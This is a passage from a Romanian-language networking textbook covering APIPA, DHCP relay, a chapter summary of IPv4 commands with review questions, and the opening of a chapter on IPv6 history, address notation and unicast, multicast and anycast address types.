APIPA este un acronim pentru Automatic Private IP Addressing i reprezint o facilitate de asignare automat a adreselor locale n reele temporare sau ad hoc. Cnd un calculator ce ruleaz Windows a fost configurat s i obin configuraia IP n mod automat, dac nu exist un server DHCP n reeaua local i nici configuraia alternativ nu a fost specificat, el va folosi APIPA pentru ai asigna o adres privat din intervalul 169.254.0.1 169.254.255.254 (se observ c masca de reea este 255.255.0.0). n mod implicit, toate calculatoarele sunt setate s foloseasc APIPA n cazul n care nu primesc rspuns de la un server DHCP din reeaua local. Mai exact, dup cum se observ din Fig. 3 -16, n fereastra de configurare alternativ este bifat, implicit, opiunea Automatic Private IP Address ceea ce evideniaz att lipsa unei configuraii alternative ct i utilizarea APIPA. Practic, se poate considera c, n lipsa unui server DHCP, este folosit ntotdeauna configuraia alternativ, chiar i n cazul n care aceasta specific folosirea APIPA. APIPA este o tehnic util pentru c ea permite calculatoarelor aflate n acelai domeniu de broadcast s comunice chiar i n lipsa unui server DHCP sau a oricrui alt tip de configuraie manual. De asemenea, ea reprezint o soluie alternativ i pentru situaia n care un server DHCP devine nefuncional. Totui, dac un server DHCP devine neoperaional, staiile vor recurge la APIPA doar dup expirarea timpului de nchiriere a ultimei configuraii obinute de la acesta, deci trecerea nu se va face instantaneu. Dac la un moment de timp ulterior serverul DHCP redevine operaional, configuraia automat va dobndi prioritate naintea celei setate de APIPA i o va rescrie, staiile continundu-i comunicaia folosind schema de adresare oferit de serverul DHCP. Explicaia pentru acest comportament st n faptul c o staie care recurge la APIPA o va face pentru c este setat s

P r o t o c o l u l I P v 4 | 117 obin o configuraie automat i nu a reuit acest lucru. Deci, practic, nlocuirea configuraiei APIPA cu cea prin DHCP se face deoarece configuraia primar are prioritate n faa celei alternative.

3-16 Fereastra pentru configuraia IPv4 alternativ n practic, se poate detecta momentul n care APIPA a intrat n funciune dac dou sau mai multe calculatoare din reea pot comunica ntre ele dar nu i cu altele sau n afara reelei. O practic recomandat n acest caz este verificarea configuraiei IP a staiilor pentru a indentifica prezena adreselor oferite de APIPA i verificarea funcionrii i a accesului la serverul DHCP. Exist i o serie de limitri importante ce trebuie avute n vedere n momentul n care staiile sunt configurate prin APIPA. Spre exemplu, calculatoarele configurate astfel vor putea comunica doar cu alte calculatoare configurate prin APIPA din acelai domeniu de broadcast (din considentele adresrii IP n interiorul unei reele locale, vor fi acceptate doar pachetele care aparin reelei calculate din adresa IP i masca configurat pe interfa). De asemenea, staiile ce folosesc APIPA nu vor putea avea acces la Internet, nu se pot configura adrese pentru servere DNS sau WINS i nu se poate specifica niciun default gateway. APIPA reprezint varianta Microsoft de Zero Configuration. n mod general, tehnica pentru IPv4 poart numele de adresare tip IPV4LL (IPv4 Link Local). Mai multe detalii despre adresele locale automate IPv4 pot fi consultate n RFC 3927 [2], iar pentru IPv6 n RFC 4862 [3] (de asemenea mai multe detalii despre IPv6 n capitolul urmtor).

3.6.2 DHCP Relay


DHCP Relay permite transmiterea cererilor DHCP dintr-o subreea n care nu exist server DHCP ctre unul sau mai multe servere DHCP din alte subreele. Pentru instalare, este necesar pachetul dhcp-relay:
root@HQ:~# apt-get install dhcp-relay

Agentul DHCP poate fi configurat la pornire, prin parametrii transmii comenzii dhcrelay, sau prin intermediul fiierului /etc/default/dhcp-relay. n acest fiier se pot specifica: interfeele pe care agentul s primeasc cereri DHCP: declaraia INTERFACES. serverele DHCP ctre care s fie trimise cererile DHCP primite: declaraia DHCP_SERVERS.

118 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Server DHCP
Pentru a vedea cum se instaleaz i cum se configureaz un server de DHCP, urmrii scenariul din cadrul capitolului Wireless.

3.7 Concluzii
n cadrul acestui capitol am prezentat unul dintre cele mai importante protocoale, pe baza cruia funcioneaz internetul. Dei adresele IPv4 s-au epuizat, acesta este nc cel mai folosit protocol. Pentru a prentmpina problema epuizrii s-a standardizat protocolul IPv6. Principala cauz pentru migrarea nceat ctre IPv6 este compatibilitatea cu echipamentele mai vechi ce nu suport dect stiva de protocoale IPv4. Adresele IPv4 sunt mprite n 5 tipuri, n funcie mrimea unei clase. Aceast mprire s -a dovedit ineficient datorit numrului fix de staii din clas. De exemplu, daca era nevoie de 300 de IP-uri, o clas C nu satisfcea aceast cerin. Trebuie alocat o ntreag clas B, adic 65536 de IP uri. Pentru a optimiza alocarea IP-urilor, s-a introdus conceptul de VLSM, mprirea n subreele de lungime variabil. Deoarece nu ne mai putem da seama de mrimea unei clase dup tipul ei, orice IP trebuie reprezentat alturi de o masc de reea. O staie, pentru a trimite pachetele primite de la nivelul reea pe nivelul fizic, trebuie s adauge informaiile de nivel 2 (MAC n cazul Ethernet). Pentru acest lucru s-a introdus tabela ARP, n care se rein asocierile dintre IP-urile i MAC-urile prezente n reeaua local, necesare la construcia pachetului. Iniial aceasta este goal. Pentru a o popula se trimit cereri speciale ARP ctre toate lumea, cel ce are adresa IP specificat n cerere va rspunde cu MAC-ul lui, iar aceast asociere va fi adugat n tabela ARP. Deseori e dificil s configurm manual adresele IP pe interfee. De aceea s-a introdus protocolul DHCP, prin care se trimit configuraiile de nivel reea. Astfel utilizatorul trebuie doar s i activeze clientul DHCP, iar ISP-ul se ocup de management-ul setrilor de nivel 3. S-a observat n scenariu faptul c nu se poate comunica ntre 2 subreele diferite. n capitolul Rutare se va descrie conceptul prin care comunicaia ntre cele 2 subreele este posibil.

3.7.1 Linux
Comand ip address ifconfig dhclient /etc/network/interfaces /etc/resolv.conf ip neigh arp traceroute Descriere Configurare adresare IP Configurare adresare IP Obinerea configuraiilor de la un server DHCP Configurarea permanent a intefeelor Configurarea serverului de DNS Afiarea tabelei ARP Afiarea tabelei ARP Testare accesibilitii unei staii, vizualiznd ruterele intermediare

P r o t o c o l u l I P v 4 | 119

3.7.2 Cisco IOS


Comand enable configure terminal interface nume_intefa ip address show ip interface brief show ip interface nume_interfa show ip arp show interfaces write memory Descriere Activarea modului privilegiat Activarea modului de configurare Intrare n modul de configurare al interfeei Configurarea unei adrese IP n modul de configurare al interfeei Sumarizare a configuraiilor de nivel 3 de pe rutere Vizualizare configuraii de nivel 3 ale unei interfee Vizualizarea tabelei ARP Vizualizare conexiune i statistici pentru o interfa (inclusiv configuraiile de nivel 3) Salveaz n memoria non-volatil fiierul de configurare

3.7.3 Windows
Comand ipconfig netsh arp tracert Descriere Vizualizare configuraii interfa de reea Configurare parametri reea Vizualizare i modificare tabel ARP Testarea accesibilitii unei staii, vizualiznd ruterele intermediare

120 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

3.8 ntrebri
1. 2. De ce se recalculeaz suma de control la fiecare ruter prin care trece un pachet? Pentru c se modific IP-ul surs. Pentru c se modific MAC-ul destinaie. Pentru c se modific TTL-ul. Pentru c se modific toate MAC-urile destinaie i IP-ul surs. Serviciul DHCP este folosit pentru a trimite: date despre ncrcarea serverului. configuraia de nivel 3 a interfeelor. adresa MAC a interfeelor. portul pe care se deschide o conexiune.

3. Masca de reea este un ir de bii de 0 i 1 n care ordinea nu conteaz. / Adresa de broadcast se obine punnd toi biii de staie pe valoarea 0. Adevrat/Adevrat Fals/Adevrat Adevrat/Fals Fals/Fals 4. 5. n tabela ARP: pot exista 2 intrri n care aceeai adres IP are mapate 2 MAC-uri. pot exista 2 intrri n care 2 adrese IP diferite au acelai MAC. se gsesc doar adresele MAC trimise de switch-uri. se gsesc doar IP-urile primite de la alte rutere. Adresa de reea pentru 86.120.60.17/19 este: 86.120.32.0. 86.120.48.0. 86.120.60.0. 86.120.0.0.

3.9 Referine
[1] Alexandru Juncu (2012). ifconfig vs. iproute2. Published on 2012 January 17. Accesat la http://techblog.rosedu.org/ifconfig-vs-iproute.html [11.09.2012]. [2] S. Cheshire, Apple Computer, B. Aboba, Microsoft Corporation, E. Guttman, Sun Microsystems. Dynamic Configuration of IPv4 Link-Local Addresses. 2005 May. Accesat la http://tools.ietf.org/html/rfc3927 [13.09.2012]. [3] S. Thomson, Cisco, T. Narten, IBM, T. Jinmei, Toshiba. IPv6 Stateless Address Autoconfiguration. 2007 September. Accesat la http://tools.ietf.org/html/rfc4862 [13.09.2012].

P a g e | 121

4 Protocolul IPv6
Ce se nva? Cine este Vint Cerf este considerat printele Internetulul. Un om de tiin american, a lucrat n cadrul proietului DARPA al Guvernului American la stiva de Protocoale TCP/IP, ce este nucleul a ce numim noi astzi Internetul. A fost unul dintre fondatorii ICANN (succesorul IANA), organizaia care se ocup cu aministrarea domeniilor, IP-urilor i ASN-urilor n Internet. n prezent lucreaz la Google i este printre cei mai mari promotori ai migrrii spre IPv6. Nevoia pentru protocolul IPv6 i adopia lui Diferenele ntre protocolul IPv6 i IPv4 Subnetarea n IPv6 Configuarea reelelor IPv6

4.1 Adresarea IPv6


4.1.1 Apariia i migrarea la protocolul IPv6
Adresele IPv4 au aprut n anul 1981, cuprinznd un spaiu de adrese de aproape patru miliarde. Dup cum se poate observa i n Fig. 4-1 alocarea adreselor IPv4 a cptat o amploare exponenial odat cu acceptarea acestui protocol ca fiind de referin pentru reelele de calculatoare (n defavoarea protocoalelor precum IPX, AppleTalk, etc.).

4-1: Rata de alocare a adreselor IPv4 Principala problem care a dus la epuizarea rapid a adreselor IPv4 a fost folosirea mtilor implicite, bazate pe cele trei clase de adrese IPv4, i a inexistenei unei metode de a recupera adresele nefolosite. Dei apariia adresrii classless i a conceptului de translatare a adreselor (NAT) au reuit s mbunteasc rata de folosire a adreselor IPv4, creterea semnificativ a numrului de calculatoare conectate la Internet a continuat problema.

122 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Dup 30 de ani de la apariia adreselor IPv4, n data de 3 Februarie 2011, IANA a anunat alocarea ultimului spaiu de adrese (/8) ctre fiecare RIR. Astfel, dei fiecare RIR mai dispune de adrese IPv4 nefolosite, migrarea ctre IPv6 este inevitabil. Prima versiune a protocolului IPv6 a aprut nc din Decembrie 1995, n RFC1883. Motivaia de trecere de la versiunea 4 direct la versiunea 6 se datoreaz apariiei protocolului IPv5, Internet Stream Protocol, n anul 1979 (IEN-119), protocol ce avea s nu fie adoptat pe scar larg. n anul 1996 a fost nfiinat platforma 6bone ce avea ca scop testarea noului protocol i mbuntirea acestuia pn la adopia lui pe scar larg. Interesant este c n data de 06 Iunie 2006 aceast platform a fost abandonat de ctre IETF, aceasta fiind considerat oficial ziua n care protocolul IPv6 a ajuns la maturitate. Ziua de 6 Iunie este considerat i astzi ziua IPv6 i este srbtorit prin folosirea protocolului IPv6 n locul protocolului IPv4. Procesul de migrare ctre adresarea IPv6 este un proces lent. Pentru a grbi acest proces n 28 Februarie 2010 guvernul Statelor Unite ale Americii a eliberat un memorandum prin care obliga ageniile guvernamentale s adopte IPv6 pn la data de Septembrie 2012 (pentru serverele publice) i pn la data de Septembrie 2014 (pentru aplicaiile interne) [3]. Un comunicat asemntor a fost emis i de ctre Comisia European care dorea ca un procent de 25% din serviciile actuale s fie migrate la o infrastructur compatibil cu protocolul IPv6 [4]. La data de 23 August 2012 existau n lume aproximativ 42060 furnizorii de servicii IPv4 (ISP) i doar 6043 furnizori care ofer i suport i IPv6. Mai multe detalii despre folosirea protocolului IPv6 se pot gsi pe site-ul indicat la referine n poziia [5]. n Romania migrarea ctre IPv6 a fost foarte spectaculoas, fiind pe primul loc n anul 2012 la accesarea serviciilor IPv6 conform google.com - Fig. 4-2 [6]. Reeaua RoEduNet a fcut parte nc din 1999 din infrastructura de testare a protocolului IPv6, 6bone. n 2003 furnizorul de serviciii RoEduNet a achiziionat 2001:b30::/32 pentru IPv6, urmat de Romtelecom n 2009 i de ctre RDSRCS n 2010, aceste prefixe intrnd n folosin din anul 2010.

4-2: Rata de adopie IPv6 Principalele mecanisme folosite pentru migrarea la IPv6 sunt dual-stack, translatarea IPv4-IPv6 i tunelarea. Primul mecanism presupune folosirea n paralel a celor dou protocoale i renunarea treptat la IPv4. Majoritatea sistemelor de operare ofer suport pentru IPv6, Windows nc din anul

P r o t o c o l u l I P v 6 | 123 2000 pentru testare pentru Windows 2000, versiunea stabil ncepnd cu Windows XP Service Pack 3. n Linux majoritatea distribuiilor actuale au integrat i stiva pentru protocolul IPv6. Protocolul IPv6 poate fi folosit nu doar pe sistemele de operare pentru calculatoare. Sistemul de operare Cisco IOS, folosit pentru echipamentele furnizate de compania Cisco, ofer de asemenea suport pentru IPv6. Spre deosebire de lumea Linux i Windows, n lumea Cisco activarea protocolului IPv6 nu este implicit. Sistemele de operare pentru mobile, Android, iOS (Apple) i Windows Phone ofer de asemenea suport pentru protocolul IPv6. O list mai complet poate fi accesat la adresa [7]. Cea de-a doua metod folosit pentru a migra de la o infrastructur IPv4 la o infrastructur IPv6 folosete principiul de tunelare. Pentru a eficientiza procesul de migrare au fost definite urmtoarele spaii de adrese: Adrese folosite pentru tunel de tip ISATAP - Intra-Site Automatic Tunnel Addressing Protocol, sub forma <orice_prefix_64_bii>::0:5efe:IPv4. Acest tip de tunel este definit n RFC4214 [9]. Adrese folosite pentru tunelarea automat de tip 6to4, sub forma 2002:IPv4::/48. Acest tip de tunel este definit n RFC3056 [10]. Adrese folosite pentru tunel de tip Teredo, sub forma 2001:0::/32. Acest tip de tunel este definit n RFC4380 [11]. Conceptul de tunelare va fi tratat pe larg n capitolul 8 - Alterarea Pachetelor. Ultima metod folosit pentru a migra la IPv6, este translatarea i folosete urmtoarele spaii de adrese: Adrese compatibile IPv4, sub forma 0:0:0:0:0:0:IPv4, folosite pentru comunicaia dintre un nod IPv6/IPv4 cu un nod IPv6 peste o infrastructur de tip IPv4. Acest tip de adrese nu mai sunt folosite i nu sunt suportate n mod implicit de sistemele de operare actuale. Mai multe detalii despre adresele folosite pentru migrarea la IPv6 pot fi citite n RFC6052 [12] i RFC4291 [13]. Adrese de tip IPv4-mapped, sub forma 0:0:0:0:0:FFFF:IPv4, folosite pentru a reprezenta un nod IPv4 pentru un nod IPv6. Aceste adrese nu sunt folosite ca surs/destinaie. Un exemplu de utilizare al lor este prezentat n studiul de caz de la finalul acestui capitol. Mai multe detalii despre adresele folosite pentru migrarea la IPv6 pot fi citite n RFC6052 [12] i RFC4291 [13]. Din punctul de vedere al infrastructurii reelei locale, switch-uri sau hub-uri, migrarea ctre protocolul IPv6 nu are un impact foarte mare. Acest lucru este datorat faptului c cele dou echipamente enunate iau decizii pe baza adresei de nivel doi (MAC) i nu sunt influenate de adresarea de la nivelul trei. Singura diferen ce afecteaz aceste echipamente este creterea valorii minime pentru MTU, de la 68 octei pentru IPv4 la 1280 de octei pentru IPv6. Dac un switch are un MTU de 1000, toate pachetele IPv6 vor fi fragmentate, fapt ce va afecta performanele reelei. Acceptarea pe scar att de larg a protocolului IPv6 se datoreaz avantajelor majore pe care acesta le aduce. Dintre acestea amintim: Un spaiu de adrese mai mare, datorit adresrii pe 128 de bii, cu un total de 340,282,366,920,938,463,463,374,607,431,768,211,456 adrese disponibile. Un studiu interesant arat c daca am atribui cte un miliard de adrese pe secund de la apariia pmntului (aprox. 4,5 miliarde de ani) am fi epuizat pn astzi aproximativ o trilionime din spaiul total. Un mecanism mai bun de administrare a spaiului de adrese. Mai multe detalii pot fi citite n 4.1.4 Subnetarea adreselor IPv6. Eliminarea necesitii de translatarea a adreselor datorat numrului considerabil de adrese IPv6 disponibile. n IPv6 conceptul de NAT nu mai este folosit. Un format simplificat al antetului. Mai multe detalii pot fi citite n 4.2.1 Antetul IPv6.

124 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Suport mbuntit pentru securitate, multicast, QoS sau rutare datorat modului de formatare a opiunilor n antetul unui pachet IPv6. IPv6 ofer suport implicit pentru stiva de protocoale IPSec.

4.1.2 Scrierea adreselor IPv6


Adresele IPv6 au o lungime de 128 de bii, de patru ori lungimea adreselor IPv4. Formatul folosit pentru reprezentarea adreselor IPv4, zecimal-punctat, nu poate fi aplicat pentru adresele pe 128 de bii. S urmrim o reprezentarea n binar i apoi n format zecimal-punctat a unei adrese IPv6: binar: o 00010000.00000001.00001011.00111000.00000000.00000000.00000000.00000 000.00000000.01011110.00000000.00000000.00000000.00000000.00000000.0 0000001 decimal: o 32.1.11.56.0.0.0.0.0.94.0.0.0.0.0.1 Aceast metod nu fost acceptat datorit neeleganei sale. Standardul folosit pentru reprezentarea adreselor IPv6 este bazat pe formatul hexazecimal. Fr a face o recapitulare foarte detaliat a reprezentrii hexazecimale amintim c aceasta este o reprezentare n baza de numeraie 16, fa de baza 10 folosit n mod uzual. Tabelul de mai jos prezint conversia din baza 16 n baza 10 i baza 2. Baza 2 Baza 10 Baza 16 0000 0 0x0 0001 1 0x1 0010 2 0x2 0011 3 0x3 0100 4 0x4 0101 5 0x5 0110 6 0x6 0111 7 0x7 1000 8 0x8 1001 9 0x9 1010 10 0xA 1011 11 0xB 1100 12 0xC 1101 13 0xD 1110 14 0xE 1111 15 0xF Pentru reprezentarea adresei sub format hexazecimal avem nevoie de 4 bii, adic 32 (128/4) de numere scrise n baza 16. Dac grupm adresa scris anterior n grupuri de 4 bii i face trecerea n format hexazecimal obinem: binar: o 0010 0000 0000 0001 0000 1011 0011 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0101 1110 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0001 hexadecimal: o 20010b3800000000005e000000000001 Nici reprezentarea de mai sus nu ofer elegan i simplitate pentru a putea fi urmrit uor. Astfel, cele 32 de numere scrise n baza 16 sunt grupate n patru, reprezentarea curent de-facto folosit pentru IPv6 fiind: 2001:0b38:0000:0000:005e:0000:0000:0001

P r o t o c o l u l I P v 6 | 125 Dei aceast form este cea utilizat, au aprut dou reguli de simplificare a scrierii adreselor IPv6. Foarte important este ca aceste reguli s fie reversibile. Astfel, odat aplicat o astfel de regul se poate ajunge la punctul de plecare. Prima regula poate fi enunat astfel: n cadrul unui grup de patru se pot elimina 0 -urile de la nceputul grupului. Folosind regula enunat, forma rescris a adresei IPv6 este 2001:b38:0:0:5e:0:0:1. S analizm eliminarea pentru fiecare grup: din grupul :0b38: am eliminat un singur 0; din grupul :0000: am eliminat trei 0-uri; din grupul :005e: am eliminat dou 0-uri. Regula este uor reversibil, analiznd grupul :1 trebuie s revenim la patru elemente din grup, singura opiune fiind :0001. Cea de-a dou regul poate fi enunat astfel: un singur ir de grupuri continue de zero poate fi suprimat sub forma ::. n exemplul prezentat avem dou grupuri continue de zero -uri :b38:0:0:5e i :5e:0:0:1. Regula spune c doar un singur astfel de grup poate fi suprimat, astfel adresa IPv6 prezentat poate fi rescris astfel: 2001:b38::5e:0:0:1 sau 2001:b38:0:0:5e ::1. Scrierea 2001:b38::5e::1 nu este corect deoarece ea nu este univoc reversibil. O astfel de scriere s-ar putea traduce sub dou adrese IPv6 diferite: 2001:b38:0:0:0:5e:0:1 sau 2001:b38:0:5e:0:0:0:1. Este important s observm c se poate suprima chiar i un singur grup de 0-uri. Spre exemplu adresa IPv6 2001:5cd:02e:04a:5e:03:0:1 poate fi rescris astfel 2001:5cd:02e:04a:5e:03::1. n continuare prezentm cteva exemple relevante de scriere a adreselor IPv6, nainte i dup folosirea celor dou reguli prezentate anterior. Adresa IPv6 ntreag ff00:ff01:0000:0000:0000:0000:0000:0003 0000:0000:0000:0000:0000:0000:0000:0000 0000:0000:0000:0000:0000:0000:0000:0001 Adresa IPv6 forma prescurtat

ff00:ff01::3 :: ::1 2001:ff03:1::23:0:f53:cf3 (preferat) 2001:ff03:0001:0000:0000:0023:0000:0f53:0cf3 sau 2001:ff03:1:0:0:23::f53:cf3 Asemntor, adreselor IPv4 i adresele IPv6 sunt mprite n dou grupuri: bii de reea i bii de staie. Spre deosebire de adresele IPv4, bii de reea sunt identificai folosind un prefix, metod alternativ n scrierea mtii de reea pentru adresele IPv4. Acest prefix este reprezentat la sfritul unei adrese IPv6 dup simbolul / (slash). Spre exemplu pentru a limita bii de reea la un numr de 64 n adresa IPv6 folosit n exemplele precedente prefixul va fi scris astfel 2001:b38:0:0:5e:0:0:1/64. O scriere a mtii de reea asemntoare cu cea adresrii IPv4 ar fi foarte greoaie i impracticabil. Un alt tip de reprezentare este cel folosit pentru adresele de tip IPv4-mapped i compatibile IPv4. Aceste tipuri de adrese au urmtoarea structura: X:X:X:X:X:X:IPv4. Un exemplu ar fi reprezentarea adresei IPv4 192.168.1.100 sub forma ::192.168.1.100, reprezentare de tip IPv4 mapped.

4.1.3 Clasificarea adreselor IPv6


n capitolul precedent am studiat adresarea IPv4, cu cele trei tipuri de comunicare: unicast, multicast i broadcast. Adresarea IPv6, aa cum este ea definit n RFC4291 [13], ofer de asemenea trei tipuri de adresare: unicast, multicast i anycast. Spre deosebire de adresarea din IPv4, n IPv6 nu exist adrese de difuzare (adrese de tip broadcast). Dispariia tipului de adresa de difuzare este datorat numrului mare de adrese ce se pot atribui ntr-o reea local, 264 , fiind practic imposibil comunicarea cu toate echipamentele dintro reea local aa cum se putea n adresarea IPv4. n continuare vor fi analizate fiecare tip de adrese, distribuirea acestora i cum pot fi ele folosite.

126 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Adrese unicast
Adresele de tip unicast sunt folosite pentru comunicaia punct-la-punct. Ele pot fi atribuite staiilor, echipamentelor folosite pentru rutare sau serverelor dedicate. n funcie de accesibilitatea acestora n afara reelei au fost definite urmtoarele clase de adrese IPv6 de tip unicast: Global Link-local Site-local (aceste tipuri de adrese nu mai sunt folosite i nu vor fi discutate n cadrul acestei seciunii) Unique local Adrese speciale Adrese folosite pentru migrarea de la IPv4 la IPv6. Aceste tipuri de adrese au fost prezentate n 4.1.1 Apariia i migrarea la protocolul IPv6. Aa cum se poate observa din graficul 4-3 din spaiul de adrese IPv6 se poate folosi mai puin de 13%, o mare pondere fiind reprezentat de adresele global unicast.

Folosirea adreselor IPv6

12.500%

0.781% 0.098% 0.098% 0.391%

86.133%

Nefolosit

Global Unicast

Unique-Local

Site-Local

Link-Local

Multicast

4-3: Folosirea adreselor IPv6 Adresele global unicast sunt definite n RFC3587 [14]. Principalul rol al acestor adrese este de identificare a fiecrui calculator n Internet, asemntor cu adresele IPv4 publice. Adresele global unicast pot fi rutate i trebuie s fie unice. Spaiul definit pentru acest tip de adresare este 2000::/3. Alocarea acestor adrese se realizeaz de ctre IANA (Internet Assigned Numbers Authority). Formatul unei adrese global unicast este cel din Fig. 4-4 i trebuie s conin 64 de bii pentru IDul interfeei, bii de staie cum au fost ei definii n capitolul precedent. Completarea celor 64 de bii va fi analizat ulterior.

P r o t o c o l u l I P v 6 | 127

4-4: Adresa global unicast Adresele link-local unicast sunt asemntoare adreselor 169.254.0.0/16 (APIPA) folosite pentru adresarea IPv4. Acest tip de adresare a fost definit n RFC3927 [15] i e folosit pentru conectarea staiilor n reeaua local. Adresele link-local unicast nu pot fi rutate i trebuie s fie unice n aceeai reea, pot exista duplicate n dou reele diferite. Formatul adreselor link-local unicast este definit n Fig. 4-5. Spre deosebire de adresele global unicast fiecare interfa care suport protocolul IPv6 va avea definit o adres de tip link-local. n practic orice interfa va avea minim dou adrese IPv6: una global folosit pentru adresarea n Internet i una de tip link-local folosit pentru comunicarea n cadrul reelei locale. Adresele link-local unicast sunt folosite de ctre protocoalele de rutare pentru definirea urmtorului hop sau ca surs de ctre protocolul NDP.

4-5: Adresa link local Adresele unique local unicast au fost definite n RFC4193 [16]. Adresele unique local unicast sunt asemanatoare adreselor private din IPv4. Adresele unique local unicast nu vor fi rutate in internet i sunt unice n Internet, dei ele au rol doar n interiorul unei organizaii. Formatul adreselor unique local este prezentat n Fig. 4-6. Adresele unique local sunt folosite pentru interconectarea echipamentelor.

4-6: Adresa unique local Exist dou adrese speciale unicast care nu pot aprea ca destinaie i care nu pot fi atribuite echipamentelor. Adresa :: sau 0:0:0:0:0:0:0:0 poart denumirea de unspecified address (adres nespecificat) i este folosit spre exemplu pentru cererea de DHCP, atunci cnd nu exist adres IPv6 atribuit, sau pentru a defini o rutimplicit. n adresarea IPv4 echivalentul adresei nespecifice este 0.0.0.0. Cea de-a doua adres special poart numele de adres de Loopback i are formatul ::1 sau 0:0:0:0:0:0:0:1. Aceast adres este folosit pentru testarea local a stivei IPv6 sau folosit de o aplicaie pentru a se referi la localhost, iar pachetele destinate acestei adrese nu vor fi trimise

128 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e niciodat pe o interfa. n adresarea IPv4 echivalentul adresei de Loopback este dat de spaiul 127.0.0.0/8.

Adrese multicast
Adresarea de tip multicast este folosit atunci cnd destinaia unui pachet este reprezentat de mai multe calculatoare. Echivalentul acestui tip de adresa n protocolul IPv4 este dat de spaiul de adrese 224.0.0.0/8. Spaiul de adresare din IPv6 este FF00::/8, conform RFC4291 [13]. Adresele multicast pot fi folosite doar ca destinaie, nu ca surs. Structura adreselor de multicast IPv6 este cea din Fig. 4-7. Biii de FLAG sunt folosii pentru a defini tipul de adres de multicast (permanent definit de IANA, sau temporar), i identific cum a fost construit (bazat sau nu pe o adres de unicast).

4-7: Adresa multicast Adresarea multicast n IPv6 a fost mprit n trei categorii n funcie de modalitatea de atribuire pe staii: permanente, atribuite manual i solicited node (solicitate de staie create automat dinamic). Adresele multicast de tip permanent sunt definite n RFC2375 [17]. Aceste adrese sunt n general folosite pentru a nlocui adresarea de difuzare din IPv4 si sunt atribuite de ctre sistemul de operare. De asemenea acestea au fost mprite asemntor cu cele unicast n funcie de locul n care sunt folosite. Adrese multicast ce pot fi accesate doar la nivelul staiei - Node-Local Scope: o FF01:0:0:0:0:0:0:1 All Nodes Address o FF01:0:0:0:0:0:0:2 All Routers Address Adrese multicast ce pot fi accesate doar n cadrul reelei locale - Link-Local Scope o FF02:0:0:0:0:0:0:1 All Nodes Address o FF02:0:0:0:0:0:0:2 All Routers Address o FF02:0:0:0:0:1:FFXX:XXXX Solicited-Node Address Adrese multicast ce pot fi accesate doar la nivelul unei organizaii - Site-local scope o FF05:0:0:0:0:0:0:2 All Routers Address Adresele multicast de tip permanent sunt folosite pentru a identifica un anumit grup, ele pot fi considerate nlocuitorul adreselor de difuzare (broadcast). Adresele atribuite manual sunt folosite pentru oferirea diverselor servicii. Alocarea acestor adrese se face de ctre IANA. Adresele de tip solicited node sunt construite pentru a identifica un anumit grup pornind de la adresa IPv6 de unicast. Construirea unei adrese de tip solicited node se face prin copierea ultimilor cei mai puin semnificativi 24 de bii de la o adresa unicast sau anycast la prefixul FF02::1:FF/104, aa cum se poate observa n Fig. 4-8.

P r o t o c o l u l I P v 6 | 129

4-8: Maparea adreselor unicast la cele multicast solicited-node Construirea unui pachet cu o destinaie IPv6 multicast presupune i adugarea unui antet pentru nivelul doi. ntrebarea care reiese de aici este ce adresa MAC destinaie vom folosi pentru a referi o astfel de destinaie. Pentru acest lucru RFC1972 (actualizat ulterior n RFC2464 i RFC6085) stabilete formatul adreselor MAC destinaie pentru pachetele de IPv6 de multicast ca fiind cel din Fig. 4-9. Cei 48 de bii ai unei adrese MAC vor fi alctuii din secvana 33:33, urmat de ultimii 32 de bii din adresa IPv6 de multicast.

4-9: Maparea IPv6 multicast la adresele MAC Spre exemplu pentru un calculator cu adresa MAC 00-50-56-C0-00-08, va rspunde la urmtoarele adrese IPv6 de multicast: FF02::1, adresa MAC asociata este 33-33-00-00-00-01 FF02::1:FFC0:0008, adresa MAC asociat este 33-33-FF-C0-00-08. Am construit aceast adres de multicast de tip solicited-node, plecnd de la adresa link-local (FF80::0250:56FF:FEC0:0008). Construcia adresei link-local este prezentat n capitolul 4.1.4.

Adrese anycast
Pentru a ntelege necesitatea adreselor IPv6 anycast vom analiza mecanismul de funcionare curent, pe infrastructura IPv4, a motorului de cutare google. Iniial motorul de cutare a pornit cu un singur server ce rspundea la o singur adres IPv4. Datorit volumului mare de cereri n faa acestui server a fost pus un load-balancer i serverul a fost multiplicat. Se folosea n continuare o singur adres IPv4. Pasul urmtor a fost dezvoltarea mai multor data-centere rspndite n lume, fiecare astfel de centru avnd o adres IPv4. Pentru a putea balansa traficul ntre aceste centre n lumea IPv4 ne axm pe rspunsul diferit al serverelor de DNS. Practic la o rezolvare de nume pentru domeniul www.google.com vom primi mai multe adrese IPv4 ca rspuns, adrese IPv4 ale datacenterelor precizate anterior. n acest mod fiecare data-center rspunde cererilor IPv4 dintr-o anumit zon.

130 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Adresarea IPv6 anycast a fost definit n RFC4291 [13]. Adresele IPv6 anycast au proprietatea c pot fi atribuite simultan pe mai multe interfee ale aceluiai dispozitiv sau pentru dispozitive diferite. Acest lucru va permite atribuirea aceleiai adrese IPv6 pentru toate serverele www.google.com, iar accesarea se va face ctre cel mai apropiat astfel de sistem. Adresele IPv6 anycast nu au un spaiu de adrese separat, ele vor folosi spaiul definit pentru adresele unicast. Structura acestor adrese este definit n Fig. 4-10, i pot aprea n antetul IPv6 doar ca destinaie.

4-10: Adresa anycast subnet-router n prezent acest tip de adresare nu este folosit, RFC4786 [18] prezint cteva exemple de folosire pentru aceste tipuri de adrese IPv6.

Adrese IPv6 la care rspunde un nod


